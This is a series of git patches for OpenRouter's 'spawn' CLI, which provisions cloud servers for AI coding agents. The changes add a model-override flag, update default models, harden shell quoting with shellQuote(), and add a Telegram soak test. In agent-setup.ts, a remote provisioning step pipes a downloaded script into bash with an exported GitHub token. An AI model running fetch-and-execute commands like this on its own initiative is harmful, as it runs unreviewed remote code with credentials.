echo "/root/.npm-global/" >> "${PATHS_FILE}" ;; claude) From c74611173c860a49fcc22a0d93315e01337ac5ee Mon Sep 17 00:00:00 2001 From: Ahmed Abushagur Date: Thu, 12 Mar 2026 15:47:09 -0700 Subject: [PATCH 22/26] feat: add --model flag and preferences file for LLM model override (#2543) Adds --model / -m CLI flag to override the agent's default LLM model: spawn codex gcp --model openai/gpt-5.3-codex Also supports persistent per-agent model preferences via config file at ~/.config/spawn/preferences.json: { "models": { "codex": "openai/gpt-5.3-codex" } } Priority: --model flag > preferences file > agent default. This enables a future web UI to pass model selection via CLI args when invoking spawn programmatically to provision machines. Co-authored-by: Claude Opus 4.6 Co-authored-by: L <6723574+louisgv@users.noreply.github.com> --- packages/cli/package.json | 2 +- packages/cli/src/commands/help.ts | 4 ++++ packages/cli/src/flags.ts | 2 ++ packages/cli/src/index.ts | 16 ++++++++++++++ packages/cli/src/shared/orchestrate.ts | 30 +++++++++++++++++++++++--- packages/cli/src/shared/paths.ts | 5 +++++ 6 files changed, 55 insertions(+), 4 deletions(-) diff --git a/packages/cli/package.json b/packages/cli/package.json index 107ec029f..d035b5f57 100644 --- a/packages/cli/package.json +++ b/packages/cli/package.json @@ -1,6 +1,6 @@ { "name": "@openrouter/spawn", - "version": "0.16.20", + "version": "0.17.0", "type": "module", "bin": { "spawn": "cli.js" diff --git a/packages/cli/src/commands/help.ts b/packages/cli/src/commands/help.ts index 00bde0168..52c1277dc 100644 --- a/packages/cli/src/commands/help.ts +++ b/packages/cli/src/commands/help.ts @@ -8,6 +8,7 @@ function getHelpUsageSection(): string { spawn --dry-run Preview what would be provisioned (or -n) spawn --zone Set zone/region (works for all clouds) spawn --size Set instance size/type (works for all clouds) + spawn --model Set the LLM model (e.g. openai/gpt-5.3-codex) spawn --custom Show interactive size/region pickers spawn --headless Provision and exit (no interactive session) spawn --output json @@ -53,6 +54,8 @@ function getHelpExamplesSection(): string { spawn claude gcp --zone us-east1-b ${pc.dim("# Use a specific GCP zone")} spawn claude gcp --size e2-standard-4 ${pc.dim("# Use a specific machine type")} + spawn codex gcp --model openai/gpt-5.3-codex + ${pc.dim("# Override the default LLM model")} spawn opencode gcp --dry-run ${pc.dim("# Preview without provisioning")} spawn claude hetzner --headless ${pc.dim("# Provision, print connection info, exit")} spawn claude hetzner --output json ${pc.dim("# Structured JSON output on stdout")} @@ -94,6 +97,7 @@ function getHelpTroubleshootingSection(): string { function getHelpEnvVarsSection(): string { return `${pc.bold("ENVIRONMENT VARIABLES")} ${pc.cyan("OPENROUTER_API_KEY")} OpenRouter API key (all agents require this) + ${pc.cyan("MODEL_ID")} Override agent's default LLM model (or use --model flag) ${pc.cyan("SPAWN_NO_UPDATE_CHECK=1")} Skip auto-update check on startup ${pc.cyan("SPAWN_NO_UNICODE=1")} Force ASCII output (no unicode symbols) ${pc.cyan("SPAWN_UNICODE=1")} Force Unicode output (override auto-detection) diff --git a/packages/cli/src/flags.ts b/packages/cli/src/flags.ts index 82d30601b..daaaade75 100644 --- a/packages/cli/src/flags.ts +++ b/packages/cli/src/flags.ts @@ -31,6 +31,8 @@ export const KNOWN_FLAGS = new Set([ "--prune", "--json", "--beta", + "--model", + "-m", ]); /** Return the first unknown flag in args, or null if all are known/positional */ diff --git a/packages/cli/src/index.ts b/packages/cli/src/index.ts index b20407732..b6cb3428d 100644 --- a/packages/cli/src/index.ts +++ b/packages/cli/src/index.ts @@ -115,6 +115,7 @@ function checkUnknownFlags(args: string[]): void { console.error(` ${pc.cyan("--custom")} Show interactive size/region pickers`); console.error(` ${pc.cyan("--zone, --region")} Set zone/region (e.g. us-east1-b, nyc3)`); console.error(` ${pc.cyan("--size, --machine-type")} Set instance size (e.g. e2-standard-4, s-2vcpu-2gb)`); + console.error(` ${pc.cyan("--model, -m")} Set the LLM model (e.g. openai/gpt-5.3-codex)`); console.error(` ${pc.cyan("--name")} Set the spawn/resource name`); console.error(` ${pc.cyan("--reauth")} Force re-prompting for cloud credentials`); console.error(` ${pc.cyan("--beta tarball")} Use pre-built tarball for agent install (repeatable)`); @@ -865,6 +866,21 @@ async function main(): Promise { process.env.LIGHTSAIL_BUNDLE = sizeFlag; } + // Extract --model / -m flag (overrides the agent's default model) + const [modelFlag, modelFilteredArgs] = extractFlagValue( + filteredArgs, + [ + "--model", + "-m", + ], + "model ID", + "spawn codex gcp --model openai/gpt-5.3-codex", + ); + filteredArgs.splice(0, filteredArgs.length, ...modelFilteredArgs); + if (modelFlag) { + process.env.MODEL_ID = modelFlag; + } + // --output implies --headless const effectiveHeadless = headless || !!outputFormat; diff --git a/packages/cli/src/shared/orchestrate.ts b/packages/cli/src/shared/orchestrate.ts index 474440c6b..50b26bd04 100644 --- a/packages/cli/src/shared/orchestrate.ts +++ b/packages/cli/src/shared/orchestrate.ts @@ -6,12 +6,15 @@ import type { CloudRunner } from "./agent-setup"; import type { AgentConfig } from "./agents"; import type { SshTunnelHandle } from "./ssh"; +import { readFileSync } from "node:fs"; +import * as v from "valibot"; import { generateSpawnId, saveLaunchCmd, saveSpawnRecord } from "../history.js"; import { offerGithubAuth, wrapSshCall } from "./agent-setup"; import { tryTarballInstall } from "./agent-tarball"; import { generateEnvConfig } from "./agents"; import { getOrPromptApiKey } from "./oauth"; -import { asyncTryCatch, asyncTryCatchIf, isOperationalError } from "./result.js"; +import { getSpawnPreferencesPath } from "./paths"; +import { asyncTryCatch, asyncTryCatchIf, isFileError, isOperationalError, tryCatchIf } from "./result.js"; import { startSshTunnel } from "./ssh"; import { ensureSshKeys, getSshKeyOpts } from "./ssh-keys"; import { getErrorMessage } from "./type-guards"; @@ -78,6 +81,27 @@ export interface OrchestrationOptions { getApiKey?: (agentSlug?: string, cloudSlug?: string) => Promise; } +/** + * Load a preferred model from ~/.config/spawn/preferences.json. + * Format: { "models": { "codex": "openai/gpt-5.3-codex", "openclaw": "anthropic/claude-sonnet-4.6" } } + * Returns null if no preference is set or the file doesn't exist. + */ +const PreferencesSchema = v.object({ + models: v.optional(v.record(v.string(), v.string())), +}); + +function loadPreferredModel(agentName: string): string | null { + const result = tryCatchIf(isFileError, () => { + const raw = JSON.parse(readFileSync(getSpawnPreferencesPath(), "utf-8")); + const parsed = v.safeParse(PreferencesSchema, raw); + if (!parsed.success) { + return null; + } + return parsed.output.models?.[agentName] ?? null; + }); + return result.ok ? result.data : null; +} + export async function runOrchestration( cloud: CloudOrchestrator, agent: AgentConfig, @@ -115,8 +139,8 @@ export async function runOrchestration( } } - // 4. Model ID (use agent default — no interactive prompt) - const rawModelId = agent.modelDefault || process.env.MODEL_ID; + // 4. Model ID — priority: --model flag (MODEL_ID env) > preferences file > agent default + const rawModelId = process.env.MODEL_ID || loadPreferredModel(agentName) || agent.modelDefault; const modelId = rawModelId && validateModelId(rawModelId) ? rawModelId : undefined; if (rawModelId && !modelId) { logWarn(`Ignoring invalid MODEL_ID: ${rawModelId}`); diff --git a/packages/cli/src/shared/paths.ts b/packages/cli/src/shared/paths.ts index 0a74bf99f..8e0361931 100644 --- a/packages/cli/src/shared/paths.ts +++ b/packages/cli/src/shared/paths.ts @@ -53,6 +53,11 @@ export function getSpawnCloudConfigPath(cloud: string): string { return join(getUserHome(), ".config", "spawn", `${cloud}.json`); } +/** Return the path to the spawn preferences file: ~/.config/spawn/preferences.json */ +export function getSpawnPreferencesPath(): string { + return join(getUserHome(), ".config", "spawn", "preferences.json"); +} + /** Return the cache directory for spawn, respecting XDG_CACHE_HOME. */ export function getCacheDir(): string { return join(process.env.XDG_CACHE_HOME || join(getUserHome(), ".cache"), "spawn"); From 7fc70636fbaaad1a1472e212cad6105723bcc99e Mon Sep 17 00:00:00 2001 From: Ahmed Abushagur Date: Thu, 12 Mar 2026 15:49:19 -0700 Subject: [PATCH 23/26] fix: update Codex default model to gpt-5.3-codex and add agent model reference (#2540) The previous PR (#2536) set the Codex default to gpt-5.1-codex, but the latest available on OpenRouter is gpt-5.3-codex. Also adds a rules file documenting each agent's default model to prevent future regressions. Co-authored-by: Claude Opus 4.6 Co-authored-by: L <6723574+louisgv@users.noreply.github.com> --- .claude/rules/agent-default-models.md | 23 +++++++++++++++++++++++ packages/cli/src/shared/agent-setup.ts | 2 +- 2 files changed, 24 insertions(+), 1 deletion(-) create mode 100644 .claude/rules/agent-default-models.md diff --git a/.claude/rules/agent-default-models.md b/.claude/rules/agent-default-models.md new file mode 100644 index 000000000..179398bc1 --- /dev/null +++ b/.claude/rules/agent-default-models.md @@ -0,0 +1,23 @@ +# Agent Default Models + +**Source of truth for the default LLM each agent uses via OpenRouter.** +When updating an agent's default model, update BOTH the code and this file. This prevents regressions from stale model IDs. + +Last verified: 2026-03-12 + +| Agent | Default Model | How It's Set | +|---|---|---| +| Claude Code | _(routed by Anthropic)_ | `ANTHROPIC_BASE_URL=https://openrouter.ai/api` — model selection handled by Claude's own routing | +| Codex CLI | `openai/gpt-5.3-codex` | Hardcoded in `setupCodexConfig()` → `~/.codex/config.toml` | +| OpenClaw | `openrouter/openrouter/auto` | `modelDefault` field in agent config; written to OpenClaw config via `setupOpenclawConfig()` | +| ZeroClaw | _(provider default)_ | `ZEROCLAW_PROVIDER=openrouter` — model selection handled by ZeroClaw's OpenRouter integration | +| OpenCode | _(provider default)_ | `OPENROUTER_API_KEY` env var — model selection handled by OpenCode natively | +| Kilo Code | _(provider default)_ | `KILO_PROVIDER_TYPE=openrouter` — model selection handled by Kilo Code natively | +| Hermes | _(provider default)_ | `OPENAI_BASE_URL=https://openrouter.ai/api/v1` + `OPENAI_API_KEY` — model selection handled by Hermes | +| Junie | _(provider default)_ | `JUNIE_OPENROUTER_API_KEY` — model selection handled by Junie natively | + +## When to update + +- When OpenRouter adds a newer version of a model (e.g., `gpt-5.1-codex` → `gpt-5.3-codex`) +- When an agent changes its default provider integration +- Verify the model ID exists on OpenRouter before committing: `curl -s https://openrouter.ai/api/v1/models | jq '.data[].id' | grep ` diff --git a/packages/cli/src/shared/agent-setup.ts b/packages/cli/src/shared/agent-setup.ts index 6d8474b4b..253173b65 100644 --- a/packages/cli/src/shared/agent-setup.ts +++ b/packages/cli/src/shared/agent-setup.ts @@ -275,7 +275,7 @@ export async function offerGithubAuth(runner: CloudRunner): Promise { async function setupCodexConfig(runner: CloudRunner, _apiKey: string): Promise { logStep("Configuring Codex CLI for OpenRouter..."); - const config = `model = "openai/gpt-5.1-codex" + const config = `model = "openai/gpt-5.3-codex" model_provider = "openrouter" [model_providers.openrouter] From b720c78c51e080b14ac0464083584c30d5f41926 Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 16:44:50 -0700 Subject: [PATCH 24/26] security: use shellQuote() in agent-setup.ts for consistent null-byte defense (#2546) Agent: code-health Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.5 --- packages/cli/package.json | 2 +- packages/cli/src/shared/agent-setup.ts | 11 ++++------- 2 files changed, 5 insertions(+), 8 deletions(-) diff --git a/packages/cli/package.json b/packages/cli/package.json index d035b5f57..8cb019127 100644 --- a/packages/cli/package.json +++ b/packages/cli/package.json @@ -1,6 +1,6 @@ { "name": "@openrouter/spawn", - "version": "0.17.0", + "version": "0.17.1", "type": "module", "bin": { "spawn": "cli.js" diff --git a/packages/cli/src/shared/agent-setup.ts b/packages/cli/src/shared/agent-setup.ts index 253173b65..ba53d4a9b 100644 --- a/packages/cli/src/shared/agent-setup.ts +++ b/packages/cli/src/shared/agent-setup.ts @@ -9,7 +9,7 @@ import { join } from "node:path"; import { getTmpDir } from "./paths"; import { asyncTryCatch, asyncTryCatchIf, isOperationalError, tryCatchIf } from "./result.js"; import { getErrorMessage } from "./type-guards"; -import { Err, jsonEscape, logError, logInfo, logStep, logWarn, Ok, prompt, withRetry } from "./ui"; +import { Err, jsonEscape, logError, logInfo, logStep, logWarn, Ok, prompt, shellQuote, withRetry } from "./ui"; /** * Wrap an SSH-based async operation into a Result for use with withRetry. @@ -240,8 +240,7 @@ export async function offerGithubAuth(runner: CloudRunner): Promise { let ghCmd = "curl --proto '=https' -fsSL https://openrouter.ai/labs/spawn/shared/github-auth.sh | bash"; if (githubToken) { - const escaped = githubToken.replace(/'/g, "'\\''"); - ghCmd = `export GITHUB_TOKEN='${escaped}' && ${ghCmd}`; + ghCmd = `export GITHUB_TOKEN=${shellQuote(githubToken)} && ${ghCmd}`; } logStep("Installing and authenticating GitHub CLI on the remote server..."); @@ -255,12 +254,10 @@ export async function offerGithubAuth(runner: CloudRunner): Promise { logStep("Configuring git identity on the remote server..."); const cmds: string[] = []; if (hostGitName) { - const escaped = hostGitName.replace(/'/g, "'\\''"); - cmds.push(`git config --global user.name '${escaped}'`); + cmds.push(`git config --global user.name ${shellQuote(hostGitName)}`); } if (hostGitEmail) { - const escaped = hostGitEmail.replace(/'/g, "'\\''"); - cmds.push(`git config --global user.email '${escaped}'`); + cmds.push(`git config --global user.email ${shellQuote(hostGitEmail)}`); } const gitSetup = await asyncTryCatchIf(isOperationalError, () => runner.runServer(cmds.join(" && "))); if (gitSetup.ok) { From 813879966a0918f4b669a1b7e48e0bb9aa08eb73 Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 16:45:18 -0700 Subject: [PATCH 25/26] feat(qa): telegram soak test on digitalocean + fix bun -e (#2547) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - soak.sh: SOAK_CLOUD env var makes cloud configurable (default: sprite) - qa.sh: load TELEGRAM_BOT_TOKEN, TELEGRAM_TEST_CHAT_ID, SOAK_CLOUD from /etc/spawn-qa-auth.env in soak mode - qa.yml: add weekly Monday 3am UTC scheduled soak trigger - fix: bun eval → bun -e across soak.sh, key-request.sh, github-auth.sh (bun eval is not a valid subcommand in bun 1.3.9) - fix: export _TOKEN via env prefix so process.env._TOKEN works in bun -e - docs: update shell-scripts.md rule to say bun -e (not bun eval) Verified: 3/4 Telegram tests pass in smoke test on DigitalOcean (120s wait) getMe ✓ sendMessage ✓ getWebhookInfo ✓; cron test needs full 55-min window. Co-authored-by: spawn-qa-bot Co-authored-by: Claude Sonnet 4.6 --- .claude/rules/shell-scripts.md | 6 +++--- .claude/skills/setup-agent-team/qa.sh | 23 +++++++++++++++++++++++ .github/workflows/qa.yml | 9 +++++++-- sh/e2e/lib/soak.sh | 17 ++++++++++------- sh/shared/github-auth.sh | 4 ++-- sh/shared/key-request.sh | 10 +++++----- 6 files changed, 50 insertions(+), 19 deletions(-) diff --git a/.claude/rules/shell-scripts.md b/.claude/rules/shell-scripts.md index 51e9e7a0f..82124a508 100644 --- a/.claude/rules/shell-scripts.md +++ b/.claude/rules/shell-scripts.md @@ -25,10 +25,10 @@ macOS ships bash 3.2. All scripts MUST work on it: ## Use Bun + TypeScript for Inline Scripting — NEVER python/python3 When shell scripts need JSON processing, HTTP calls, crypto, or any non-trivial logic: -- **ALWAYS** use `bun eval '...'` or write a temp `.ts` file and `bun run` it +- **ALWAYS** use `bun -e '...'` or write a temp `.ts` file and `bun run` it - **NEVER** use `python3 -c` or `python -c` for inline scripting — python is not a project dependency -- Prefer `jq` for simple JSON extraction; fall back to `bun eval` when jq is unavailable -- Pass data to bun via environment variables (e.g., `_DATA="${var}" bun eval "..."`) or temp files — never interpolate untrusted values into JS strings +- Prefer `jq` for simple JSON extraction; fall back to `bun -e` when jq is unavailable +- Pass data to bun via environment variables (e.g., `_DATA="${var}" bun -e "..."`) or temp files — never interpolate untrusted values into JS strings - For complex operations (SigV4 signing, API calls with retries), write a heredoc `.ts` file and `bun run` it ## ESM Only — NEVER use require() or CommonJS diff --git a/.claude/skills/setup-agent-team/qa.sh b/.claude/skills/setup-agent-team/qa.sh index d43732996..47d95fad4 100644 --- a/.claude/skills/setup-agent-team/qa.sh +++ b/.claude/skills/setup-agent-team/qa.sh @@ -226,6 +226,29 @@ if [[ "${RUN_MODE}" == "e2e" ]]; then fi fi +# --- Load Telegram credentials for soak mode --- +if [[ "${RUN_MODE}" == "soak" ]]; then + if [[ -f /etc/spawn-qa-auth.env ]]; then + while IFS='=' read -r _tkey _tval || [[ -n "${_tkey}" ]]; do + _tkey="${_tkey#"${_tkey%%[! ]*}"}" + _tkey="${_tkey%"${_tkey##*[! ]}"}" + [[ -z "${_tkey}" || "${_tkey}" == \#* ]] && continue + case "${_tkey}" in + TELEGRAM_BOT_TOKEN|TELEGRAM_TEST_CHAT_ID|SOAK_CLOUD) + export "${_tkey}=${_tval}" + ;; + esac + done < /etc/spawn-qa-auth.env + if [[ -n "${TELEGRAM_BOT_TOKEN:-}" ]] && [[ -n "${TELEGRAM_TEST_CHAT_ID:-}" ]]; then + log "Telegram credentials loaded for soak test (cloud: ${SOAK_CLOUD:-sprite})" + else + log "WARNING: TELEGRAM_BOT_TOKEN or TELEGRAM_TEST_CHAT_ID missing from /etc/spawn-qa-auth.env — soak test will fail" + fi + else + log "WARNING: /etc/spawn-qa-auth.env not found — soak test requires TELEGRAM_BOT_TOKEN and TELEGRAM_TEST_CHAT_ID" + fi +fi + # Launch Claude Code with mode-specific prompt # Enable agent teams (required for team-based workflows) export CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1 diff --git a/.github/workflows/qa.yml b/.github/workflows/qa.yml index 04ebfce4d..9092268db 100644 --- a/.github/workflows/qa.yml +++ b/.github/workflows/qa.yml @@ -1,7 +1,8 @@ name: QA on: schedule: - - cron: '0 */4 * * *' + - cron: '0 */4 * * *' # Every 4 hours — quality sweep + - cron: '0 3 * * 1' # Every Monday 3am UTC — Telegram soak test (OpenClaw on DigitalOcean) workflow_dispatch: inputs: reason: @@ -24,7 +25,11 @@ jobs: SPRITE_URL: ${{ secrets.QA_SPRITE_URL }} TRIGGER_SECRET: ${{ secrets.QA_TRIGGER_SECRET }} run: | - REASON="${{ github.event.inputs.reason || 'schedule' }}" + if [ "${{ github.event_name }}" = "schedule" ] && [ "${{ github.event.schedule }}" = "0 3 * * 1" ]; then + REASON="soak" + else + REASON="${{ github.event.inputs.reason || 'schedule' }}" + fi curl -sS --fail-with-body -X POST \ "${SPRITE_URL}/trigger?reason=${REASON}" \ -H "Authorization: Bearer ${TRIGGER_SECRET}" diff --git a/sh/e2e/lib/soak.sh b/sh/e2e/lib/soak.sh index 80e8cf9e9..b9c1906eb 100644 --- a/sh/e2e/lib/soak.sh +++ b/sh/e2e/lib/soak.sh @@ -19,6 +19,7 @@ set -eo pipefail # --------------------------------------------------------------------------- SOAK_WAIT_SECONDS="${SOAK_WAIT_SECONDS:-3600}" SOAK_CRON_DELAY_SECONDS="${SOAK_CRON_DELAY_SECONDS:-3300}" +SOAK_CLOUD="${SOAK_CLOUD:-sprite}" SOAK_HEARTBEAT_INTERVAL=300 # 5 minutes SOAK_GATEWAY_PORT=18789 TELEGRAM_API_BASE="https://api.telegram.org" @@ -146,14 +147,15 @@ soak_inject_telegram_config() { log_step "Patching ~/.openclaw/openclaw.json with Telegram bot token..." - # Use bun eval on the remote to JSON-patch the config file + # Use bun -e on the remote to JSON-patch the config file. + # _TOKEN is passed via env var prefix so process.env._TOKEN is available in bun. cloud_exec "${app}" "source ~/.spawnrc 2>/dev/null; \ export PATH=\$HOME/.npm-global/bin:\$HOME/.bun/bin:\$HOME/.local/bin:\$PATH; \ _TOKEN=\$(printf '%s' '${encoded_token}' | base64 -d); \ - bun eval ' \ + _TOKEN=\${_TOKEN} bun -e ' \ import { mkdirSync, readFileSync, writeFileSync } from \"node:fs\"; \ import { dirname } from \"node:path\"; \ - const configPath = process.env.HOME + \"/.openclaw/openclaw.json\"; \ + const configPath = (process.env.HOME ?? \"\") + \"/.openclaw/openclaw.json\"; \ let config = {}; \ try { config = JSON.parse(readFileSync(configPath, \"utf-8\")); } catch {} \ if (!config.channels) config.channels = {}; \ @@ -162,7 +164,7 @@ soak_inject_telegram_config() { mkdirSync(dirname(configPath), { recursive: true }); \ writeFileSync(configPath, JSON.stringify(config, null, 2)); \ console.log(\"Telegram config injected\"); \ - '" >/dev/null 2>&1 + '" 2>&1 if [ $? -ne 0 ]; then log_err "Failed to inject Telegram config" @@ -477,7 +479,7 @@ soak_run_telegram_tests() { # --------------------------------------------------------------------------- # run_soak_test [LOG_DIR] # -# Orchestrator: validate env → load sprite driver → provision openclaw → +# Orchestrator: validate env → load cloud driver (SOAK_CLOUD) → provision openclaw → # verify → inject telegram config → schedule openclaw cron reminder → # soak wait → run tests (including openclaw cron verification) → teardown. # --------------------------------------------------------------------------- @@ -488,6 +490,7 @@ run_soak_test() { fi log_header "Spawn Soak Test: OpenClaw + Telegram (with cron reminder)" + log_info "Cloud: ${SOAK_CLOUD}" log_info "Soak wait: ${SOAK_WAIT_SECONDS}s" log_info "Cron delay: ${SOAK_CRON_DELAY_SECONDS}s" @@ -497,8 +500,8 @@ run_soak_test() { return 1 fi - # Load sprite cloud driver - load_cloud_driver "sprite" + # Load cloud driver (configurable via SOAK_CLOUD, default: sprite) + load_cloud_driver "${SOAK_CLOUD}" # Validate cloud environment if ! require_env; then diff --git a/sh/shared/github-auth.sh b/sh/shared/github-auth.sh index 57b940e1d..23d65d188 100755 --- a/sh/shared/github-auth.sh +++ b/sh/shared/github-auth.sh @@ -136,11 +136,11 @@ _fetch_gh_latest_version() { } local latest_version="" - # Prefer jq for safe JSON parsing; fall back to bun eval (never python) + # Prefer jq for safe JSON parsing; fall back to bun -e (never python) if command -v jq &>/dev/null; then latest_version=$(printf '%s' "${api_response}" | jq -r '.tag_name // empty' 2>/dev/null) || true elif command -v bun &>/dev/null; then - latest_version=$(_GH_API_RESPONSE="${api_response}" bun eval " + latest_version=$(_GH_API_RESPONSE="${api_response}" bun -e " const data = JSON.parse(process.env._GH_API_RESPONSE || '{}'); const tag = typeof data.tag_name === 'string' ? data.tag_name : ''; process.stdout.write(tag); diff --git a/sh/shared/key-request.sh b/sh/shared/key-request.sh index e05497390..218e0bfdd 100644 --- a/sh/shared/key-request.sh +++ b/sh/shared/key-request.sh @@ -29,7 +29,7 @@ _check_cli_auth_clouds() { if command -v jq &>/dev/null; then cli_clouds=$(jq -r '.clouds | to_entries[] | select(.value.auth != null) | select(.value.auth | test("\\b(login|configure|setup)\\b"; "i")) | "\(.key)|\(.value.auth)"' "${manifest_path}" 2>/dev/null) else - cli_clouds=$(_MANIFEST="${manifest_path}" bun eval " + cli_clouds=$(_MANIFEST="${manifest_path}" bun -e " import fs from 'fs'; const m = JSON.parse(fs.readFileSync(process.env._MANIFEST, 'utf8')); for (const [key, cloud] of Object.entries(m.clouds || {})) { @@ -58,7 +58,7 @@ for (const [key, cloud] of Object.entries(m.clouds || {})) { if command -v jq &>/dev/null; then project=$(jq -r '.GCP_PROJECT // .project // "" | select(. != null)' "${gcp_config}" 2>/dev/null) else - project=$(_FILE="${gcp_config}" bun eval " + project=$(_FILE="${gcp_config}" bun -e " import fs from 'fs'; const d = JSON.parse(fs.readFileSync(process.env._FILE, 'utf8')); process.stdout.write(d.GCP_PROJECT || d.project || ''); @@ -95,7 +95,7 @@ _parse_cloud_auths() { if command -v jq &>/dev/null; then jq -r '.clouds | to_entries[] | select(.value.auth != null and .value.auth != "") | select(.value.key_request != false) | select(.value.auth | test("\\b(login|configure|setup)\\b"; "i") | not) | "\(.key)|\(.value.auth)"' "${manifest_path}" 2>/dev/null else - _MANIFEST="${manifest_path}" bun eval " + _MANIFEST="${manifest_path}" bun -e " import fs from 'fs'; const m = JSON.parse(fs.readFileSync(process.env._MANIFEST, 'utf8')); for (const [key, cloud] of Object.entries(m.clouds || {})) { @@ -134,7 +134,7 @@ _try_load_env_var() { if command -v jq &>/dev/null; then val=$(jq -r --arg v "${var_name}" '(.[$v] // .api_key // .token) // "" | select(. != null)' "${config_file}" 2>/dev/null) else - val=$(_FILE="${config_file}" _VAR="${var_name}" bun eval " + val=$(_FILE="${config_file}" _VAR="${var_name}" bun -e " import fs from 'fs'; const d = JSON.parse(fs.readFileSync(process.env._FILE, 'utf8')); process.stdout.write(d[process.env._VAR] || d.api_key || d.token || ''); @@ -268,7 +268,7 @@ request_missing_cloud_keys() { if command -v jq &>/dev/null; then providers_json=$(printf '%s\n' ${MISSING_KEY_PROVIDERS} | jq -Rn '[inputs | select(. != "")]' 2>/dev/null) || return 0 elif command -v bun &>/dev/null; then - providers_json=$(_PROVIDERS="${MISSING_KEY_PROVIDERS}" bun eval " + providers_json=$(_PROVIDERS="${MISSING_KEY_PROVIDERS}" bun -e " const providers = process.env._PROVIDERS.trim().split(/\s+/).filter(Boolean); process.stdout.write(JSON.stringify(providers)); " 2>/dev/null) || return 0 From f0ee18d391a5e63f4d1abb3a5d4236dc0bf9e37c Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 16:47:08 -0700 Subject: [PATCH 26/26] chore: standardize featured_cloud to digitalocean + sprite for all agents (#2548) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Set every agent's featured_cloud to ["digitalocean", "sprite"] — one primary recommendation (DigitalOcean) and one fallback (Sprite). Co-authored-by: Claude Co-authored-by: Claude Opus 4.6 (1M context) Co-authored-by: L <6723574+louisgv@users.noreply.github.com> --- manifest.json | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/manifest.json b/manifest.json index 6afec0589..ea0a06f02 100644 --- a/manifest.json +++ b/manifest.json @@ -28,7 +28,7 @@ } }, "icon": "https://raw.githubusercontent.com/OpenRouterTeam/spawn/main/assets/agents/claude.png", - "featured_cloud": ["gcp", "aws", "digitalocean"], + "featured_cloud": ["digitalocean", "sprite"], "creator": "Anthropic", "repo": "anthropics/claude-code", "license": "Proprietary", @@ -61,7 +61,7 @@ } }, "icon": "https://raw.githubusercontent.com/OpenRouterTeam/spawn/main/assets/agents/openclaw.png", - "featured_cloud": ["gcp", "aws", "digitalocean"], + "featured_cloud": ["digitalocean", "sprite"], "creator": "OpenClaw", "repo": "openclaw/openclaw", "license": "MIT", @@ -99,7 +99,7 @@ }, "notes": "Rust-based agent framework built by Harvard/MIT/Sundai.Club communities. Natively supports OpenRouter via OPENROUTER_API_KEY + ZEROCLAW_PROVIDER=openrouter. Requires compilation from source (~5-10 min).", "icon": "https://raw.githubusercontent.com/OpenRouterTeam/spawn/main/assets/agents/zeroclaw.png", - "featured_cloud": ["hetzner", "gcp", "aws"], + "featured_cloud": ["digitalocean", "sprite"], "creator": "Sundai.Club", "repo": "zeroclaw-labs/zeroclaw", "license": "Apache-2.0", @@ -126,7 +126,7 @@ }, "notes": "Works with OpenRouter via OPENAI_BASE_URL override pointing to openrouter.ai/api/v1", "icon": "https://raw.githubusercontent.com/OpenRouterTeam/spawn/main/assets/agents/codex.png", - "featured_cloud": ["gcp", "aws", "digitalocean"], + "featured_cloud": ["digitalocean", "sprite"], "creator": "OpenAI", "repo": "openai/codex", "license": "Apache-2.0", @@ -151,7 +151,7 @@ }, "notes": "Natively supports OpenRouter via OPENROUTER_API_KEY env var. Go-based TUI using Bubble Tea.", "icon": "https://raw.githubusercontent.com/OpenRouterTeam/spawn/main/assets/agents/opencode.png", - "featured_cloud": ["gcp", "aws", "digitalocean"], + "featured_cloud": ["digitalocean", "sprite"], "creator": "SST", "repo": "sst/opencode", "license": "MIT", @@ -178,7 +178,7 @@ }, "notes": "Natively supports OpenRouter as a provider via KILO_PROVIDER_TYPE=openrouter. CLI installable via npm as @kilocode/cli, invocable as 'kilocode' or 'kilo'.", "icon": "https://raw.githubusercontent.com/OpenRouterTeam/spawn/main/assets/agents/kilocode.png", - "featured_cloud": ["gcp", "aws", "digitalocean"], + "featured_cloud": ["digitalocean", "sprite"], "creator": "Kilo-Org", "repo": "Kilo-Org/kilocode", "license": "MIT", @@ -205,7 +205,7 @@ }, "notes": "Natively supports OpenRouter via OPENROUTER_API_KEY. Also works via OPENAI_BASE_URL + OPENAI_API_KEY for OpenAI-compatible mode. Installs Python 3.11 via uv.", "icon": "https://raw.githubusercontent.com/OpenRouterTeam/spawn/main/assets/agents/hermes.png", - "featured_cloud": ["sprite", "hetzner", "gcp"], + "featured_cloud": ["digitalocean", "sprite"], "creator": "Nous Research", "repo": "NousResearch/hermes-agent", "license": "MIT", @@ -231,7 +231,7 @@ }, "notes": "Natively supports OpenRouter via JUNIE_OPENROUTER_API_KEY. Subagent tasks may require GPT-4.1 Mini, GPT-4.1, or GPT-5 models to be enabled on your OpenRouter account.", "icon": "https://raw.githubusercontent.com/OpenRouterTeam/spawn/main/assets/agents/junie.png", - "featured_cloud": ["hetzner", "aws", "digitalocean"], + "featured_cloud": ["digitalocean", "sprite"], "creator": "JetBrains", "repo": "JetBrains/junie", "license": "Proprietary",